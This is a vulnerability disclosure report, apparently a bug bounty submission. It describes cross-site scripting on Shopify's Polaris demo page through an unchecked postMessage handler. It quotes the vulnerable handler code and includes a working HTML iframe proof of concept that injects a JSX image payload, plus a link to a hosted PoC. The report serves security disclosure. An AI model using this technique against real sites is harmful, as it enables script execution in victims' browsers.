xss on polaris.shopify.com/demo using postMessage

# Description it's possible to run arbitrary js code using https://polaris.shopify.com/demo + `postMessage` following codes are from [this file](https://polaris.shopify.com/assets/baseline/demo-3801177f8c9e2fc96d7fbd9b73f76b32a8aa35fee26bee5aa0964e71955cf960.js) which formatted using [prettier](https://prettier.io/playground/) `Demo` component (line 381) uses `addEventListener` to listen for `message` events (line #401): ```js componentDidMount() { window.addEventListener("message", this.handleMessage), this.throttledSendDetails(), window.addEventListener("click", handleAnchorClick); } ``` `handleMessage` method (line #499) will set `data.ats` as component state without checking message origin: ```js handleMessage(e) { var { blocked: t } = e; console.log(e); var r = Object(_app_utilities_ast__WEBPACK_IMPORTED_MODULE_61__.a)( t.ast.code ); t && Object.prototype.hasOwnProperty.call(t, "ast") && this.setState({ ast: r, fullSizeExamples: t.fullSizeExamples, omitAppProvider: t.omitAppProvider, }); } ``` `ast.code` later rendered as React code. # Step to Reproduce 1. create a HTML file containing an `iframe` with `https://polaris.shopify.com/demo` as `src` 2. after iframe loaded, send a message with `{ast: {code: "JSX code"}}` as data ```html <iframe id="ifrm" src="https://polaris.shopify.com/demo" height="100%" width="100%" frameborder="0"></iframe> <script> var ifrm = document.getElementById('ifrm'); ifrm.onload = function() { ifrm.contentWindow.postMessage({ast: { code: "<img src='x' onError={() => alert(document.location)} />;", }}, '*'); } </script> ``` # PoC http://209.141.43.59/shopify-xss.html ## Impact attacker can use bug to run arbitrary js code in victims browser.